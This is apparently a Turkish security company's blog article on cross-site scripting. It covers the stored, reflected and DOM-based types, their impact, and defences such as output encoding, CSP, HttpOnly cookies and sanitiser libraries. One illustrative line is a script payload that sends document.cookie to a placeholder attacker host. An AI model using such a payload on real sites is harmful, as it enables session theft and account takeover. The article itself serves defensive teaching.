XSS (Cross Site Scripting) Nedir? Türleri ve Korunma Yöntemleri
XSS, saldırganın bir web sayfasına JavaScript enjekte edip başka kullanıcıların tarayıcısında çalıştırmasıdır. Stored, Reflected ve DOM tabanlı türleri, oturum çalma ve hesap ele geçirme etkileri, kesin çözüm olan çıktı kodlama, CSP ve HttpOnly gibi ek katmanlar, modern çerçevelerin rolü ve doğrulama yöntemleri.
Hızlı cevap: XSS (Cross Site Scripting), saldırganın bir web sayfasına kendi JavaScript kodunu enjekte edip bu kodu başka kullanıcıların tarayıcısında çalıştırmasıdır. SQL injection veri tabanını hedef alırken, XSS kullanıcının tarayıcısını hedef alır: oturum çerezini çalabilir, kullanıcı adına işlem yapabilir, sahte giriş formu gösterebilir. Üç ana türü vardır: Stored (kalıcı, sunucuda saklanır), Reflected (yansıyan, bağlantıyla tetiklenir) ve DOM tabanlı (tamamen istemci tarafında). Kesin çözüm çıktı kodlamadır (output encoding): kullanıcı girdisi sayfaya basılırken HTML olarak değil metin olarak işlenmeli. Modern çerçeveler bunu varsayılan yapar, ama
innerHTMLgibi güvensiz kullanımlar ve zengin metin alanları hâlâ risk taşır.
Web güvenliğinde en çok yanlış anlaşılan açık XSS'tir. "Sadece bir uyarı kutusu açılıyor, ne zararı var" diye küçümsenir. Oysa aynı teknik, bir kullanıcının oturumunu çalmak, hesabını ele geçirmek ya da tüm ziyaretçilere zararlı kod dağıtmak için kullanılabilir. Bu yazı, XSS'in nasıl çalıştığını, türlerini ve kesin savunmasını anlatıyor.
XSS nasıl çalışır
Bir uygulama, kullanıcının yazdığı bir yorumu başka kullanıcılara gösteriyor. Yorumu olduğu gibi sayfaya basıyorsa ve kullanıcı yorum yerine şunu yazarsa:
<script>document.location='http://saldirgan.com/c?'+document.cookie</script>
Bu yorumu gören her ziyaretçinin tarayıcısında kod çalışır ve oturum çerezi saldırgana gönderilir. Saldırgan bu çerezle kurbanın hesabına oturum açabilir.
Sorunun kökü SQL injection ile aynıdır: veri (kullanıcı girdisi) ile kod (HTML/JavaScript) karışıyor. Tarayıcı, sayfaya basılan girdinin görüntülenecek bir metin mi yoksa çalıştırılacak bir betik mi olduğunu ayırt edemiyor. Bu benzerlik nedeniyle XSS, OWASP Top 10'da Injection kategorisi altında değerlendirilir; genel çerçeve için OWASP Top 10 rehberi yazımıza bakın.
XSS türleri
Stored (kalıcı) XSS
Zararlı kod sunucuda saklanır ve o sayfayı açan herkese sunulur. Bir forum gönderisine, profil alanına ya da ürün yorumuna yerleştirilen betik, sayfayı gören tüm kullanıcıları etkiler. En tehlikeli türdür çünkü tek bir enjeksiyon binlerce kurbana ulaşır.
Reflected (yansıyan) XSS
Zararlı kod saklanmaz, isteğin bir parçası olarak gelir ve yanıtta geri yansıtılır. Genelde bir arama sonucu sayfasında ya da hata mesajında görülür. Saldırgan, içine kod gömülü bir bağlantı hazırlar ve kurbanı o bağlantıya tıklatır. Tıklayan kişinin tarayıcısında kod çalışır.
DOM tabanlı XSS
Sunucu hiç devreye girmez. Sayfadaki JavaScript, URL'den ya da başka bir kaynaktan aldığı veriyi güvensiz biçimde sayfaya yazar (örneğin innerHTML ile). Tüm işlem istemci tarafında olduğu için sunucu kayıtlarında iz bırakmayabilir ve tespiti zordur.
| Tür | Kod nerede saklanır | Tetikleyici | Etki alanı |
|---|---|---|---|
| Stored | Sunucuda | Sayfayı açmak | Tüm ziyaretçiler |
| Reflected | Hiçbir yerde | Zararlı bağlantıya tıklama | Tıklayan kişi |
| DOM tabanlı | Hiçbir yerde | İstemci JavaScript'i | Etkilenen kullanıcı |
Kesin çözüm: çıktı kodlama
XSS'in birincil çözümü, kullanıcı girdisini sayfaya basarken bağlama uygun kodlamaktır. Girdi HTML olarak yorumlanmamalı, görüntülenecek metin olarak işlenmelidir. Örneğin < karakteri < olarak kodlanırsa tarayıcı onu etiket başlangıcı değil, ekranda görünecek bir karakter sayar.
Kritik nokta bağlamdır: veriyi HTML gövdesine mi, bir HTML özniteliğine mi, bir JavaScript bloğuna mı yoksa bir URL'ye mi basıyorsunuz, her biri farklı kodlama gerektirir. Yanlış bağlamda kodlama koruma sağlamaz.
İyi haber: modern çerçeveler bunu varsayılan olarak yapar. React, Angular ve Vue gibi kütüphaneler, değişkenleri sayfaya basarken otomatik kodlar. Bu yüzden bu çerçevelerde XSS çoğunlukla, geliştiricinin bu korumayı bilerek devre dışı bıraktığı yerlerde ortaya çıkar: React'te dangerouslySetInnerHTML, saf JavaScript'te innerHTML, ya da eval benzeri kullanımlar.
Ek savunma katmanları
Çıktı kodlama birincil savunmadır, ama tek başına yeterli olmayan durumlar için ek katmanlar gerekir:
- Content Security Policy (CSP). Tarayıcıya hangi kaynaklardan betik çalıştırabileceğini söyleyen bir başlık. İyi yapılandırılmış bir CSP, bir XSS açığı olsa bile zararlı betiğin çalışmasını engelleyebilir. Güçlü bir ikinci savunma hattıdır.
- HttpOnly çerez. Oturum çerezini
HttpOnlyişaretlemek, JavaScript'in çereze erişmesini engeller. Böylece bir XSS açığı çereze doğrudan ulaşamaz. - Girdi doğrulama. Beklenmeyen biçimdeki girdiyi reddetmek ek katmandır, ama çıktı kodlamanın yerini tutmaz.
- Zengin metin için güvenli temizleyici. Kullanıcının HTML girmesine izin vermek zorundaysanız (yorum editörü gibi), olgun ve bakımlı bir HTML temizleme kütüphanesi kullanın, kendi filtrenizi yazmayın.
Kimlik katmanı da önemlidir: çalınan bir oturumun etkisini sınırlamak için passkey ve MFA ve kısa oturum süreleri yardımcı olur.
XSS neden hafife alınmamalı
XSS'in "sadece uyarı kutusu" olarak görülmesi tehlikeli bir yanılgıdır. Gerçek etkileri:
- Oturum çalma. Çerez çalınırsa saldırgan kurbanın hesabına girer.
- Hesap ele geçirme. Kurban adına parola değiştirme ya da işlem yapma.
- Kimlik avı. Gerçek sitenin içinde sahte giriş formu gösterme, kurban adres çubuğuna güvendiği için kanar.
- Zararlı yazılım dağıtımı. Ziyaretçileri istismar kitine yönlendirme.
- İtibar ve veri kaybı. Stored XSS ile tüm kullanıcı tabanına ulaşma.
Doğrulama
XSS açıklarını bulmanın güvenilir yolu test etmektir:
- Kod incelemesi. Güvensiz DOM yazma noktalarını (
innerHTML,dangerouslySetInnerHTML) ve kodlanmamış çıktıları arayın. - Otomatik tarama. Dinamik analiz araçları yansıyan XSS'i yakalar, ama DOM tabanlı olanı kaçırabilir.
- Yetkili sızma testi. Özellikle DOM tabanlı ve bağlama duyarlı açıklar için insan gözü gerekir. Kapsam için sızma testi süreci yazımıza bakabilirsiniz.
Sık sorulan sorular
XSS ile SQL injection farkı ne? SQL injection veri tabanını hedef alır ve sunucuda çalışır. XSS kullanıcının tarayıcısını hedef alır ve istemcide çalışır. İkisi de veri ile kodun karışmasından doğar.
Modern çerçeve kullanıyorum, güvenli miyim?
Büyük ölçüde, çünkü otomatik kodlama yaparlar. Ancak dangerouslySetInnerHTML gibi korumayı kapatan kullanımlar ve DOM tabanlı açıklar hâlâ mümkündür.
CSP tek başına yeterli mi? Hayır, ama çok güçlü bir ikinci savunma hattıdır. İyi bir CSP, bir açık olsa bile istismarı engelleyebilir.
DOM tabanlı XSS neden zor tespit edilir? Sunucu hiç devreye girmediği için sunucu kayıtlarında iz bırakmaz. Tespit için istemci JavaScript'inin analizi gerekir.
HttpOnly çerez XSS'i çözer mi? Hayır, ama çerez çalınmasını engeller. Saldırgan hâlâ kullanıcı adına işlem yapabilir, bu yüzden asıl çözüm çıktı kodlamadır.
Kullanıcının HTML girmesine izin vermem gerekiyor, ne yapmalıyım? Kendi filtrenizi yazmayın. Olgun, bakımlı bir HTML temizleme kütüphanesi kullanın ve izin verilen etiketleri en aza indirin.
Kaynaklar
- OWASP Cross Site Scripting Prevention Cheat Sheet: https://cheatsheetseries.owasp.org
- OWASP Top 10, Injection: https://owasp.org/www-project-top-ten/
- MITRE CWE 79, Cross Site Scripting: https://cwe.mitre.org/data/definitions/79.html
- PortSwigger Web Security Academy, XSS: https://portswigger.net/web-security/cross-site-scripting
- MDN, Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
Uygulamanızın XSS karşısında gerçekten dayanıklı olup olmadığını ölçmek isterseniz DSET ile iletişime geçin. Ankara Hacettepe Teknokent laboratuvarımızdan sızma testi, güvenli kod incelemesi ve geliştirici eğitimi hizmeti veriyoruz.
Kimliğinizi doğrulayın
Yetkilendirilmiş erişim alanı. Tüm giriş denemeleri kayıt altına alınır.